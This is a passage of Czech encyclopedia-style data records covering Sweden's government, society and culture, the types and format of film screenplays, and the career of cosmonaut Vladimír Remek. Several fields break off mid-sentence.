jednokomorovému parlamentu zvanému Riksdag. Má 349 členů volených na čtyřleté funkční období. Obecné volby se konají vždy druhou neděli v září. Riksdag se skládá na základě principu poměrného zastoupení. Základní zákony (ústavu) může Riksdag změnit, ale změnu musí potvrdit další Riksdag, v novém složení po volbách. Vláda (\"regeringen\") je držitelem výkonné moci. Předsedu vlády jmenuje a odvolává předseda Riksdagu. Ministry jmenuje a odvolává předseda vlády zcela dle vlastního uvážení, bez možnosti kohokoli jeho personální rozhodnutí ovlivnit, jeho pozice se v tomto podobá například pozici amerického prezidenta a je silnější než v některých republikánských systémech (včetně českého), kde odvolání ministra musí často nějak akceptovat ještě prezident. Unikátní vlastností švédské státní správy je to, že ministři nenesou individuální odpovědnost za činnost vládních agentur, jež mají značný vliv - nejde jen například o národní knihovnu a podobné instituce, ale třeba i o daňovou agenturu, která odpovídá za správu daní. Generální ředitelé těchto agentur odpovídají pouze vládě jako celku a jejich resortní ministr má zakázáno do jejich chodu zasahovat. Švédsko je označováno za jednu nejliberálnějších zemi Evropy (ve smyslu sociálního liberalismu). Od roku 1932 se u moci vystřídaly jen čtyři strany. Dlouhodobě nejvlivnější je Švédská sociálně demokratická strana dělnická (\"Sveriges socialdemokratiska arbetareparti\"). Premiéra měla v letech 1932-1936, 1936-1976, 1982-1991, 1994-2006 a od roku 2014 dosud. Od kormidla se jí podařilo odstrčit jen několikrát, v minulosti se to dařilo zvláště Straně středu (\"Centerpartiet\"), straně s agrárnickými kořeny, která vládla v letech 1936, 1976-1978 a 1979-1982. V letech 1978-1979 vládu řídila pravostředová Liberální lidová strana (\"Folkpartiet liberalerna,\" dnes \"Liberalerna\"). Od 90. let dvakrát vládla i liberálně-konzervativní Umírněná strana (\"Moderaterna\"), v letech 1991-1994 a 2006-2014.", "Švédsko má dvě soustavy soudů – obecné soudy, které se zabývají trestními a občanskoprávními případy, a obecné správní soudy, které se zabývají správními věcmi.", "Švédsko je od roku 1814 neutrální stát, a proto není členem žádné vojenské aliance, ale úzce spolupracuje s NATO a účastní se vojenských cvičení aliance. Podle oficiální brožury švédské armády z roku 2016 se Švédsko připravuje na možnou válku s Ruskem. Švédští vojáci se účastní mírových misí v Demokratické republice Kongo, Kypru, Bosně a Hercegovině, Kosovu, Libérii, Libanonu, Afghánistánu a Čadu. Švédská", "Území Švédska se dělí na dvou úrovních místní správy na 21 krajů (\"län\") a 290 samosprávných obcí (\"kommun\"). V každém kraji působí krajské představenstvo (\"länsstyrelse\") v čele s guvernérem (\"landshövding\"), jmenované vládou na 6 let, a krajská rada (\"landsting\"), volená na 4 roky. Kraje se dále dělí na samosprávné obce", "K pilířům prosperující švédské ekonomiky patří přírodní zdroje – voda, dřevo a železná ruda. Švédsko má rovněž poměrně štědrou sociální politiku a svým občanům poskytuje vysoký životní standard. Výnosy z daní tvoří 51,3 % HDP, což je nejvyšší číslo ze všech ostatních zemí.", "Nejdůležitějším odvětvím primárního sektoru ve Švédsku je lesní hospodářství a těžba dřeva. Hospodářsky je využíváno 45 % rozlohy země, tj. asi 2/3 lesních ploch. Lesy pokrývají celkem 62 % plochy země. Těžba i zpracování dřeva jsou kontrolovány vládou. Nejdůležitější produkční oblastí je Norrland, jehož řeky zásobují elektrickou energií množství pil a také papírny na pobřeží Botnického zálivu. Produkce zahrnuje vedle stavebního dříví a dřevní hmoty pro výrobu celulózy a papíru také pryskyřice, terpentýn, barviva a umělé hmoty. Podmínky", "Švédsko disponuje sítí kvalitních a dobře udržovaných silnic, která je hustá v jižní části země. Málo zalidněné oblasti ležící na severu jsou s jihem spojeny mezinárodní silnicí E4, vedoucí podél pobřeží Botnického zálivu, a vnitrozemskou E45. Dálnice se vyskytují pouze v jižní části země. Spojení po souši má Švédko především s Norskem a na severu s Finskem. Od roku 2000", "Počet obyvatel: 9 995 350 (k 30. říjnu 2012), z toho většina obyvatel (cca 8 730 000) jsou Švédové a 562 000 cizinci. Podíl osob s imigrantským původem (osoby narozené v zahraničí a osoby narozené ve Švédsku s oběma rodiči narozenými v zahraničí) činí 20.1% (k 31. prosinci 2012), přičemž nejpočetnější skupiny tvoří Finové, lidé z bývalé Jugoslávie a Iráčané a žije zde také na 7000 Čechů. Velmi rychle stoupá počet muslimských imigrantů a ve Švédsku dnes žije okolo 500 000 muslimů. Tyto přistěhovalce do země přivedl štědrý švédský sociální systém a vcelku benevolentní přistěhovalecký režim švédských vlád. Dále jsou v zemi menšiny Dánů v jižní části země, Finů a Sámů na severu. Největší hustota zalidnění je v oblasti Öresundu na jihu Švédska a v údolí jezera Mälaren ve středním Švédsku. Plodnost v zemi kolísá okolo 1,9 dítěte na ženu v plodném věku, čímž je sice Švédsko na předních příčkách v přírůstku obyvatelstva v Evropě, ale v podprůměru na světě. Nejrozšířenější křestní jméno při narození je Erik a William.", "Švédština je severogermánský jazyk, podobný norštině a dánštině, kterým hovoří většina obyvatel Švédska. Základem švédštiny je de facto dánština a všechny tři jazyky jsou si vzájemně bez potíží srozumitelné. Zajímavé", "Ve městech žije 85 % obyvatel Švédska, přičemž podle švédských hledisek", "Pokřesťanštění Švédska, které probíhalo od poloviny 9. století (Olof Skötkonung) do 12. století, přispělo ke vzniku jednotného švédského státu. V roce 1527 přestoupilo Švédsko", "Imigrace byla jedním z hlavních zdrojů růstu populace a kulturních změn během nedávné historie Švédska. V posledních letech se země transformovala ze země emigrace, s koncem první světové války, na zemi přistěhovalectví od konce druhé světové války. Ekonomické, sociální a politické aspekty imigrace vyvolaly polemiku ohledně etnické příslušnosti, hospodářského přínosu, pracovních míst pro původní obyvatele, systému osídlení, dopad na vzestupnou sociální mobilitu, trestnou činnost a volební právo. V polovině osmdesátých let 20. století tu počty zahraničních pracovníků silně kolísaly v závislosti na nabídce. Imigrace pokračovala i po zákazu přistěhovávání zahraničních pracovníků v roce 1972. Zákaz platil jen pro pracovníky stěhující se z třetích zemí ležících mimo jednotný skandinávský trh pracovních sil, který tvořily státy Dánsko, Finsko, Island, Norsko a Švédsko. K zahraničním pracovním silám se ve Švédsku vždy přistupovalo jako k imigrantům. Jak vyplývá z imigračního zákona z roku 1975, Švédsko samo se považovalo za multikulturní přistěhovaleckou zemi. Jeho hlavní myšlenkou bylo zrovnoprávnění imigrantů ve státě blahobytu a sociálního zabezpečení a právo na jejich kulturní sebeurčení. Časový souběh rostoucí imigrace, hospodářské krize a nezaměstnanosti vedl i zde k vnitropolitickým konfliktům provázeným výtržnostmi proti imigrantům. Přestože hlasitěji zaznívaly požadavky na omezení imigrace, Švédsko se stalo", "", "Světové literatuře Švédové dodali klasika moderního dramatu Augusta Strindberga a zřejmě nejslavnější autorku literatury pro děti Astrid Lindgrenovou. U počátků švédského písemnictví stál Olaus Magnus, též významný diplomat. Ve Švédsku je velmi ctěn Hjalmar Söderberg. Básnířka s avantgardními inspiracemi, Edith Södergranová, zemřela na tuberkulózu v 31 letech a stala se tak pro Švédy symbolem poezie. Symbolem křehké intimní poezie s homosexuálními akcenty je Karin Boyeová. Sociálně laděné prózy", "Za klasika švédské hudby je považován Carl Michael Bellman. Ze skladatelů vážné hudby se nejvíce prosadil Franz Berwald. Z interpretů operní pěvkyně Malena Ernmanová, Jenny Lindová či Birgit Nilssonová. Marie Taglioniová byla klíčovou osobností dějin baletu, v němž zavedla tanec na špičkách. Ve 2. polovině 20. století se Švédové ukázali být mistry ve schopnosti natlačit se do oblasti, které tradičně dominovali Američané a Britové – do populární hudby. Byť přitom museli většinou obětovat rodnou mateřštinu. Revoluční průlom učinila v 70. letech skupina ABBA, tvořená", "Počátky švédského výtvarného umění lze vystopovat až k pravěkým skalním rytinám v Tanum. V roce 1994 byly zapsány na seznam Světového dědictví UNESCO. Zvláštní postavení má ve Švédsku malíř John Bauer, který na počátku 20. století ilustroval soubor národních pohádek \"Mezi skřítky a trolly\" (\"Bland Tomtar och troll\"). S jeho zvláštními melancholickými kresbami se identifikovaly celé generace Švédů a staly se tak součástí národního vědomí. Nejvýznamnějšími švédskými portrétisty byli Alexander Roslin", "V oblasti umění filmového mezi nejslavnější evropské režiséry patří Ingmar Bergman. V jeho stopách šli Sven Nykvist, Bo Widerberg nebo Jan Troell. Za prezentací skupiny ABBA stál režisér Lasse Hallström, který se později dočkal i dvou oscarových nominací (1985, 1999). Cenu Oscar získal dokumentarista Malik Bendjelloul. Ke známým tvůrcům patří", "K nejvýznamnějším švédským architektonickým památkám patří Drottningholmský palác nacházející se na ostrově Lovön v jezeře Malar, na předměstí Stockholmu. Od roku 1981 je soukromou rezidencí švédské královské rodiny, v roce 1991 byl zapsán na seznam Světového dědictví. Všechny další švédské architektonické památky na seznamu jsou buď architekturou lidovou (zdobené farmy v Hälsinglandu, kostelní městečko Gammelstad), nebo industriální (železárny Engelsberg, rádiová stanice Grimeton). Na seznamu jsou i některá celá města: hanzovní město Visby a přístavní město Karlskrona. Ovšem ve Švédsku jsou i jiné významné stavby vyhledávané turisty. Barokní Stockholmský palác je oficiálním sídlem královské rodiny. U jezera Mälaren na jihu středního Švédska, v obci Strängnäs, asi 60 km západně od Stockholmu, se", "Tradiční gastronomické speciality jsou ryby a plody moře, ale třeba i sobí a hovězí maso. Mnoho tradičních jídel také souvisí se švédskými oslavami a svátky. Mezi speciality patří renstek (sobí steak s brusinkami a se smetanovými bramborami), köttbullar (masové kuličky s brusinkami a brambory nebo salátem z červené řepy s majonézou), makka (druh obloženého chleba), smöra bröd (chléb s máslem). Na severu Švédska je velmi oblíbena pochoutka z fermentovaných sleďů surströmming (silně zapáchající, v sudech kvašení sledi). Podávají se buď s", "Švédové se prosadili i v mnoha sportovních odvětvích. Šest zlatých olympijských medailí má kanoista Gert Fredriksson, čtyři lyžaři Sixten Jernberg, Gunde Svan a Thomas Wassberg a jezdec na koni Henri Saint Cyr, tři zlaté mají krasobruslař Gillis Grafström, střelci Vilhelm Carlberg, Alfred Swahn a Oscar Swahn, kanoistka Agneta Anderssonová, rychlobruslař Tomas Gustafson, lyžař Marcus Hellner, zápasníci Ivar Johansson a Carl Westergren a oštěpař Eric Lemming. Ve Švédsku je bezesporu nejvíce rozšířený florbal ve kterém Švédi vládnou celému světu. Jejich bilance na všech 12 uskutečněných mistrovstvích světa je až k neuvěření. Mají dohromady 8 zlatých a 4 stříbrné medaile a to znamená, že se Švédsko na všech 12 šampionátech dostalo do finále. Mezi nejslavnější osobnosti Švédského florbalu patří Kim Nilsson, Alexander Galante Carlström nebo Alexander Rudd. Björn Borg patří k nejlepším tenistům historie. Ač ukončil kariéru v pouhých 25 letech, vyhrál pětkrát Wimbledon a celkem 11 grandlamových turnajů. Také Stefan Edberg a Mats Wilander vzorně reprezentovali švédskou tenisovou školu, oba si taktéž", "Švédsko je tradiční baštou přírodních, exaktních a technických věd. Svědčí o tom jména badatelů, jakými byl fyzik Alfred Nobel, zakladatel moderní biologie Carl Linné, zakladatel moderní chemie Jöns Jacob Berzelius, tvůrce Celsiovy stupnice Anders Celsius, zakladatelé spektroskopie Johannes Rydberg a Anders Jonas Ångström, objevitel kyslíku, dusíku a wolframu Carl Wilhelm Scheele či objevitel lithia Johann Arfvedson. Výzkum radiace vedl Rolf Sievert, proto je po něm pojmenována její jednotka v soustavě SI. Axel Fredrik Cronstedt objevil nikl, Johan Gottlieb Gahn mangan, Per Teodor Cleve holmium a thulium, Carl Gustaf Mosander lanthanum, erbium and terbium. Teorii funkcí významně rozvinul matematik Gösta Mittag-Leffler. Zakladatelem moderní teorie integrálních rovnic byl Erik Ivar Fredholm, fraktálům se věnoval matematik Helge von Koch, autor známé Kochovy vločky, harmonické analýze Lennart Carleson, teorii lineárních parciálních diferenciálních rovnic Lars Hörmander. Hmotnost Merkuru a Venuše odhadl astronom Johan Oskar Backlund, rotaci galaxií zkoumal Bertil Lindblad. Do dějin zoologie se zapsal Carl Jakob Sundevall, do těch botanických Adam Afzelius, Carl Peter Thunberg či Carl Adolf Agardh. Studium lišejníků zakládal Erik Acharius. Průkopníkem chemie byl Torbern Bergman. Všestranným renesančním učencem a otcem švédské vzdělanosti byl Olaus Rudbeck. Odstředivku a parní turbínu vynalezl Gustaf de Laval, na vývoji faxu se podílel Harry Nyquist, Gideon Sundback vynalezl zdrhovadlo. Nobelovy ceny za fyziku získali Gustaf Dalén, Hannes Alfvén, Manne Siegbahn a Kai Siegbahn, za chemii pro Svante Arrhenius, Hans von Euler-Chelpin, Theodor Svedberg, Arne Tiselius a Tomas Lindahl, za fyziologii pro Ulf von Euler, Sune Bergström, Torsten Wiesel, Bengt I. Samuelsson, Ragnar Granit, Allvar Gullstrand, Hugo Theorell a Arvid Carlsson. Široce diskutovaná je též Kaluza-Kleinova jednotná teorie pole, jejímž spoluautorem je Švéd Oskar Klein. Švédské občanství měla i rakouská fyzička Lise Meitnerová, která významně přispěla k výzkumu štěpení atomových jader. Prvním a dosud jediným švédským kosmonautem se stal Christer Fuglesang. Dobrodruh Salomon August Andrée zahynul při pokusu dosáhnout severního pólu v balónu. V oblasti humanitních a sociálních věd byl vlivný Švéd filozof a teolog Emanuel Swedenborg. Ve 20. století se důležitým představitelem analytické filozofie stal Georg Henrik von Wright. Politolog Rudolf Kjellén zavedl pojem geopolitika, politický filozof Erik Gustaf Geijer proslul jako zastánce liberalismu. Bertil Ohlin a Gunnar Myrdal získali Nobelovu pamětní cenu za ekonomii, Myrdalova manželka, socioložka a politička Alva Myrdalová, získala Nobelovu cenu za mír za svůj boj za odzbrojení. Celosvětové známosti dosáhly knihy psychiatra Axela Muntheho. V posledních letech na sebe upozornil svými názory na umělou inteligenci a transhumanismus filozof Nick Bostrom. Švédsko má jednotný vzdělávací systém, který koordinuje univerzitní a odborné studium s programy škol druhého stupně. Existuje povinná školní docházka od 7 do 16 let. Od 3. třídy se vyučuje angličtina a později se přidává němčina nebo francouzština. Již v 7. třídě si žáci mohou částečně volit skladbu předmětů. Ve Švédsku působí třináct univerzit, z nichž nejstarší je v Uppsale (založena roku 1477). Velmi rozšířené a kvalitní je vzdělání dospělých v rámci denních, večerních, dálkových i domácích kursů a na lidových univerzitách. Ve Stockholmu jsou v prosinci každoročně udělovány Nobelovy ceny." ] }

{ "title": [ "Rozdělení.", "Literární scénář.", "Forma.", "Prvky.", "Technický scénář.", "Bodový scénář.", "Interakce se scénářem.", "V jiném kontextu." ], "section_level": [ "1", "2", "3", "2", "1", "2", "1", "1" ], "content": [ "", "Literární scénář je detailnější než námět nebo synopse, ale méně detailní než technický scénář/režijní kniha nebo treatment.", "Scénáře se po většinu éry kinematografie psaly na psacích strojích. V průběhu času se podoba literárního scénáře standardizovala zhruba na následující: První strana obsahuje: titul (název), autora, verzi, číslo revize, datum, kontaktní údaje na autora (ty jediné zarovnané vlevo, jinak vše ostatní na střed) Ostatní strany mají hlavičku a patičku, doporučuje se v nich uvést minimálně číslování stránek Alternativně mohou literární scénáře vypadat tak, že na každé stránce jsou uvedeny dva sloupce. V tom levém je zaznamenán popis toho, co při dialogu (či monologu) postava dělá, jaká hraje hudba atd. V pravém sloupci je napsáno, co postava říká.", "Scénář příběh rozděluje na obrazy (též scény, z anglického „scenes“). Scény mohou být seskupeny do sekvencí a sekvence do jednání (anglicky act(s)). Sekvence a jednání začínají každé na nové straně. V literárním scénáři zpravidla nejsou uvedeny záběry, úhly pohledu a tzv. blokování, to, co je odkud vidět, co má zabírat jaká kamera atd. Při uvedení nového obrazu nebo při změně obrazu se ve scénáři uvádí jeho hlavička. Hlavička scény se skládá z: V některých případech (např. 2D/3D animace, titulek, rapidmontáž,...) EXT/INT nebo část dne uvedeny být nemusí. Akce jsou v tomto kontextu popisem příběhu – prostředí, postav a především děje. Jsou uvedeny bez odsazení a zarovnané doleva. Pokud akce odkrývá nebo představuje novou postavu nebo pokud je vhodné zdůraznit důležitou akci, kulisu nebo rekvizitu, při prvním uvedení je tato napsaná velkými písmeny. Občas (zřídka) může akce popisovat zvuk nebo hudbu v ději nebo vysvětlovat kontext. Postavy (anglicky \"characters\") představují aktéry příběhu. Pro hraná díla jsou ztvárněna herci. Literární scénář může při uvedení nové postavy tuto stručně popsat. Postavy ve scénáři mohou mít (a většinou mají) rozhovory (dialogy). Dialog se podle konvence zapisuje s odsazením (jedno odsazení bývá 10 znaků). Před každým textem (replikou) je uvedeno jméno postavy, napsané velkými písmeny a dvakrát odsazeno. Text postavy (1× odsazený, zarovnaný doleva) následuje na dalším řádku. U delšího textu je každý řádek odsazený. Za jménem postavy může být zkratka „ (O. S.)“, tj. off-screen (mimo obraz, mluví-li mimo obraz), případně českým (M. O.) nebo „ (CONT'D)“ nebo česky (POKR.) pokud tato postava pokračuje svoji řeč po nějaké předchozí akci. Mezi jménem postavy a textem ještě může být (1,5× odsazený) řádek, uvedený v závorkách a vysvětlující, jakým způsobem postava text řekne, případně co při tom dělá. Tomuto prvku se říká „závorkový řádek“ (anglicky \"parenthetical\"). Každý blok se jménem postavy, případným závorkovým řádkem a textem je od ostatních prvků oddělen prázdným řádkem. Přechod (anglicky \"transition\") označuje přechod mezi záběry. Nejběžnější je (ostrý) střih, použity mohou být i prolínačka, přechod z/do černé, bílé, rozostření, stíračka, a další. Přechody jsou zarovnány doprava a končí dvojtečkou. Speciální prvek, který nespadá do žádné z výše uvedených skupin, je titulek a konec. Konec scénáře je explicitně označen „KONEC“ („THE END“) na novém řádku zarovnaném na střed.", "Dále pro potřeby natáčení v televizních filmů a dalších filmových děl existuje také technický scénář, ve kterém jsou kromě těchto informací použity také další podrobné informace zejména o umístění kamery a jak má kamera postavy zabírat, případně i další technické detaily. Technický scénář využívá zkratky, které označují umístění kamery a záběr (např. PD – polodetail, DPD – dvojitý polodetail atd.). Z technického scénáře pak skriptka vyškrtává natočené scény a doplňuje dodatečné informace jako oblečení herců a osvětlení. Technický scénář vytváří před natáčením především režisér s kameramanem příslušného díla, případně i další specialisté.", "V přípravě filmového díla se dále používá ještě bodový scénář, což je námět díla s doplněním chronologie a kauzalit.", "(Literární) scénáře si nacházejí cestu do filmových studií – buď jako zakázková a předem sjednaná práce od konkrétního scenáristy, nebo jako dílo, které jim nabízejí nezávislí tvůrci. Studia většinou mají lidi specializované na čtení a posuzování nekomisních scénářů – ti mohou z jejich přísunu filtrovat ty, které jsou dle jejich úsudku vhodní kandidáti na realizaci. U komisních scénářů často dochází k přepisování a psaní nových verzí. Zúžený seznam scénářů prochází přehodnocením zástupců studia z řad seniorských zaměstnanců a producentů, kteří nakonec rozhodnou, jaký scénář by mohlo studio realizovat – krom umělecké hodnoty scénáře zkoumají především realizovatelnost a její náročnost a rentabilitu, např. v korelaci s dlouhodobými trendy a při navrženém rozpočtu pro všechny fáze výroby. Již tato fáze zabírá čas, prostředky a lidské zdroje studia, a přitom scénář nakonec nemusí být vybrán. Scénář, který nakonec vybraný je, dostane tzv. „zelenou“ (\"is greenlighted\") a postupuje do přípravné fáze (\"pre-production\"). V této fázi se vybírá filmový štáb, který realizuje druhou natáčecí fázi. Literární scénář zde slouží jako dokument pro tyto klíčové členy štábu, protože popisuje (přinejmenším v základech), jaké pro natáčení budou potřeba kulisy, rekvizity, kostýmy, masky, speciální efekty, lokace, komparz, zvířata, příprava herců, a další. Příprava těchto věcí jsou intenzivně konzultovány mezi těmito odpovědnými filmaři s režisérem a mezi režisérem a producentem. V této fázi také režisér konvertuje literární scénář v scénář technický. U kratších nebo na realizaci jednodušších filmů (nebo divadelních her) někteří režiséři pracují jen s verzí literárního scénáře, kde využívají jednostranného tisku a na nepopsaných stranách mají svoje vlastní poznámky. V natáčecí fázi realizace, poté co natáčení bylo naplánováno na natáčecí dny a ke každému natáčecímu dni byly přiřazeny scény a záběry, jež mají být realizovány, slouží literární scénář jako zdroj pro tzv. dispozice (anglicky \"call sheet\") a též pro výňatky scén pro ten který den, jež se rozdávají hercům jako rychlá reference pro akci a dialogy, které se mají naučit na daný nebo následující den. Asistentka režiséra má při natáčení literární nebo technický scénář u sebe a mimo jiné při herecké akci kontroluje správnost dialogů.", "Slovo scénář též může znamenat postup (algoritmus), podle kterého postupovat při výskytu nějaké situace (např. scénář pro vyhlášení chemického poplachu, scénář povolebního jednání, když vyhraje ta a ta strana, apod.)" ] }

{ "title": [ "Dětství a rodina.", "Vojenský pilot.", "Kosmonaut.", "Voják, obchodník, diplomat.", "Evropský poslanec.", "Velvyslanec.", "Ocenění." ], "section_level": [ "1", "1", "1", "1", "1", "1", "1" ], "content": [ "Otec Jozef Remek byl Slovák, vojenský pilot, později v hodnosti generálporučíka dlouholetý velitel letectva Československé lidové armády. Matka byla Češka. Vladimír Remek dětství prožil v Českých Budějovicích, kde vychodil základní devítiletou školu a kam se kvůli babičce často vracel. Pak se rodina přestěhovala do Brna, kde chodil na střední školu a dva roky také do Klubu mladých astronomů při hvězdárně na Kraví hoře. Vojenské povolání otce rodinu přivedlo do dalšího bydliště, Čáslavi, kde byla letecká základna. Na dvanáctiletce v Čáslavi začal studovat v roce 1963, a její studium zakončil maturitou v roce 1966. Má sestry Jitku a Danu. Je podruhé ženatý, z každého manželství má jednu dceru. Hovoří plynule rusky a anglicky.", "Remek s vyznamenáním absolvoval čtyřleté studium na Vyšším leteckém učilišti v Košicích, kde létal na cvičných proudových letounech L-29 Delfín. Po dokončení školy roku 1970 nastoupil k leteckému útvaru do Žatce, ale po měsíci byl přeložen k 1. Zvolenskému leteckému stíhacímu pluku v Českých Budějovicích vyzbrojenému MIGy 21. Jeho otec tou dobou už byl vysoce postavený generál, Vladimír Remek však jakoukoli protekci odmítal; otci měl za zlé rozchod s matkou a jakékoliv narážky na něj mu vadily. V roce 1972 zahájil studium na Vojenské letecké akademii J. A. Gagarina v Moninu u Moskvy. V roce 1975 dostal vyznamenání \"Za službu vlasti\". V Moninu studoval na výbornou, za čtyři roky měl na vysvědčení pouze jednu čtyřku (která v ruském známkování odpovídá české dvojce). Po absolvování akademie se v roce 1976 vrátil nakrátko k mateřskému útvaru. Měl se stát zástupcem velitele pluku, ale přišel neočekávaný obrat v kariéře – výběr kandidátů pro kosmický let.", "V první polovině roku 1976 nabídl Sovětský svaz zemím sdruženým v programu výzkumu vesmíru Interkosmos účast v pilotovaných kosmických letech. V Praze probíhal výběr od června 1976. Z pilotů vojenského letectva bylo na základě pravidelných každoročních prohlídek vybráno 24 kandidátů, včetně Remka. Při dalších testech měl výborné výsledky – při práci pod časovým tlakem, při zátěži, při testech orgánu rovnováhy, trpěl však rýmou a nadváhou – musel shodit 12 kg. Postupně se počet kandidátů snížil na 8 a pak na čtyři – Ladislava Klímu, Oldřicha Pelčáka, Vladimíra Remka a Michala Vondrouška. Po dalším kole testů už ve Středisku přípravy kosmonautů J. A. Gagarina v Hvězdném městečku zůstali Remek a Pelčák. V listopadu 1976 byl Remek povýšen na kapitána. Od prosince 1976 se v Hvězdném městečku s Oldřichem Pelčákem a dalšími kandidáty z Polska a NDR začal připravovat ke kosmickému letu. V červnu 1977 byly sestaveny posádky pro budoucí československo-sovětský let. První posádku tvořili sovětský kosmonaut plukovník Alexej Gubarev (velitel), který již měl za sebou let Sojuzem 17 a měsíční pobyt na stanici Saljut 4, a kapitán Vladimír Remek ve funkci kosmonaut-výzkumník. Druhou Nikolaj Rukavišnikov, který absolvoval dva lety (Sojuz 10 a Sojuz 16) celkem v délce 8 dnů, a Oldřich Pelčák. Do vesmíru Gubarev s Remkem odstartovali z kosmodromu Bajkonur 2. března 1978 v 15:28 UTC v lodi Sojuz 28. Byla to první mezinárodní posádka v rámci programu Interkosmos i v historii kosmických letů vůbec. Se stanicí Saljut 6 se Sojuz 28 spojil 3. března v 17:06 UTC, po spojení se kosmonauti přivítali se členy dlouhodobé posádky stanice Jurijem Romaněnkem a Georgijem Grečkem. Pracovní den kosmonautů trval od 6 do 21 hodin, zahrnoval i dvě hodiny cvičení. Takřka na poslední chvíli bylo do výcviku Gubareva a Remka zahrnuto i ovládání zubní vrtačky, Romaněnko a Grečko na Saljutu 6 si totiž začali stěžovat na bolesti zubů. Po příletu Gubarev s Remkem sdělili kolegům, že jim zuby ošetří. Poté, co vyšlo najevo, že se ošetřování zubů začali učit před dvěma týdny, byli odmítnuti. Ovšem stížnosti na zuby řídící středisko už neslyšelo. V následujících dnech kosmonauti uskutečnili několik televizních reportáží, pomáhali stálé posádce a věnovali se vlastnímu vědeckému programu. Experimenty připravené československými vědci byly: Remek patřil k většině kosmonautů, kteří z počátku letu trpěli nevolností způsobenou nezvykem organizmu na stav beztíže. Výjimečný ovšem byl otevřeným popisem svých obtíží, jeho sovětští kolegové se totiž obávali, že přiznáním potíží přijdou o šanci znova letět do vesmíru. Třetí den letu, 4. března ve 14 a 20 hodin, proběhla tradiční tisková konference s kosmonauty, v tomto případě vysílaná československou televizí v přímém přenosu. Pro Remka nedopadla dobře, stále ještě trpěl nevolností a po více než roce v ruském prostředí byl pro něj rozhovor o letu a prováděných experimentech v češtině obtížný, těžce hledal správná slova. Po splnění programu letu se 10. března Gubarev s Remkem rozloučili s hostiteli, v 10:23 UTC oddělili se Sojuzem 28 od stanice a v 14:45 UTC přistáli v Kazachstánu, asi 135 km severně od Arkalyku. Celková délka Remkova letu činila 190 hodin a 18 minut. Důvody, proč byla vybrána posádka Gubarev-Remek, zatímco Nikolaj Rukavišnikov a Oldřich Pelčák zůstali jako náhradníci, jsou dodnes předmětem diskusí. Podle Tomáše Přibyla pravděpodobně ležely v soupeření mezi zainteresovanými sovětskými institucemi. Po neúspěchu letu Sojuzu 25 v říjnu 1977 byly posádky sestavovány vždy s nejméně jedním kosmonautem se zkušenostmi z předchozího letu. U mezinárodních posádek to musel být sovětský velitel, což při nedostatku zkušených vojenských kosmonautů z oddílu CPK přineslo nutnost zařadit na velitelskou pozici také kosmonauty – inženýry z Eněrgije. Prolomení dlouhá léta platícího pravidla „velitel je voják“ se pochopitelně zástupci CPK, a vojáci obecně, bránili. V této situaci měla Gubarevova posádka výhodu proti Rukavišnikovi s Pelčákem prostě proto, že Rukavišnikov nebyl voják. I u závěrečných zkoušek (ve kterých byla dvojice Gubarev–Remek hodnocena jako o něco lepší) se projevila zákulisní rivalita, když obě soupeřící skupiny nařkly protistranu, že napovídala „své“ posádce.", "Po návratu do vlasti rok působil na Hlavní politické správě ČSLA, poté byl vedoucím pracovníkem ve Výzkumném ústavu letectva v Praze-Kbelích. V roce 1979 o svém životě, výcviku i samotném letu napsal s pomocí Karla Richtera knihu \"Pod námi planeta Země\". Další knihou vydanou téhož roku byla \"Splněné naděje\". Coby známá osobnost působil ve veřejných organizacích. Roku 1980 se stal členem Světové rady míru, byl členem předsednictva ÚV Svazu československo-sovětského přátelství (SČSP). Roku 1990 se stal předsedou Společnosti přátel národů východu (transformovaného SČSP), v jejím čele zůstal i po přejmenování na Česko-ruskou společnost roku 2006. Od roku 1985 studoval na Vojenské akademii Generálního štábu v Moskvě, absolvoval ji o tři roky později. V následujících dvou letech sloužil v Brně ve funkci zástupce velitele 2. divize PVOS (protivzdušné obrany státu). Už od roku 1967 byl členem Komunistické strany Československa, v roce 1990 musel podle zákona členství ve straně jako voják ukončit. V letech 1990–1995 byl ředitelem Vojenského muzea letectví a kosmonautiky v Praze-Kbelích. V červnu 1995 odešel do zálohy v hodnosti plukovníka. Poté působil jako obchodní zástupce ČZ Strakonice v Ruské federaci, kde využíval své staré kontakty a prestiž kosmonauta. Byl mimo jiné generálním ředitelem společného podniku CZ-Turbo-GAZ v Nižném Novgorodu a v Moskvě, kde působil od roku 2001 jako ředitel zastoupení. V letech 2002 až 2004 byl obchodním radou a vedoucím obchodně ekonomického úseku velvyslanectví ČR v Moskvě.", "V červnu 2004 byl zvolen do Evropského parlamentu na kandidátce KSČM jako nestraník. S ostatními komunistickými poslanci vstoupil do frakce Evropské spojené levice a Severské zelené levice (EUL/NGL), byl členem parlamentního výboru pro průmysl, výzkum a energetiku, parlamentní delegace EU-Rusko a náhradníkem výboru pro dopravu a cestovní ruch. Patřil k nejaktivnějším českým poslancům, věnoval se zejména letectví a kosmonautice. Byl oceňován pro svůj přehled v otázkách týkajících se navigačního systému Galileo, ale i pro znalost Ruska. Ve volbách 2009 svůj mandát obhájil na dalších 5 let. Stal se členem rozpočtového výboru a náhradníkem výboru pro průmysl, výzkum a energetiku, zůstal v parlamentní delegaci EU-Rusko. Kanceláře měl mj. v Bruselu a Štrasburku. Na podzim 2012 zvažovalo vedení KSČM jeho kandidaturu v první přímé volbě prezidenta České republiky, která proběhla v lednu 2013, ale Remek kandidovat odmítl. Výkonný výbor ÚV KSČM poté nevybral jiného kandidáta „aby se netříštily síly levice“. Vzhledem k přechodu do diplomatických služeb rezignoval dne 15. prosince 2013 na mandát poslance Evropského parlamentu.", "V březnu 2013 nový český prezident Miloš Zeman vnesl Remkovo jméno do diskuze o novém velvyslanci v Rusku. Dne 31. července 2013 vláda Jiřího Rusnoka nástup Remka do funkce velvyslance schválila. Dne 13. listopadu 2013 podepsal prezident Zeman Remkovu pověřovací listinu a v lednu 2014 jeho pověřovací listinu převzal v Moskvě za přítomnosti televizních kamer prezident Putin. Svou velvyslaneckou misi ukončil 31. ledna 2018.", "Dne 16. března 1978, několik dní po letu, obdržel sovětský titul hrdina Sovětského svazu s Leninovým řádem, československý čestný titul letec-kosmonaut ČSSR a titul hrdina Československé socialistické republiky s Řádem Klementa Gottwalda. Byl vyznamenán medailí „Za službu vlasti“. Dne 24. září 1978 objevil Antonín Mrkos pozorováním z Hvězdárny na Kleti planetku obíhající v hlavním pásu, kterou pojmenoval po Vladimíru Remkovi – \"Remek\" (číslo 2552). U stanice metra Háje byl Vladimír Remek s Alexejem Gubarevem zvěčněn v sousoší \"Kosmonauti\" od sochaře Jana Bartoše. Stejné sousoší se nachází také v Košicích. K 30. výročí letu do vesmíru jej v roce 2008 vyznamenal Svaz letců ČR vyznamenáním spolu s dalšími 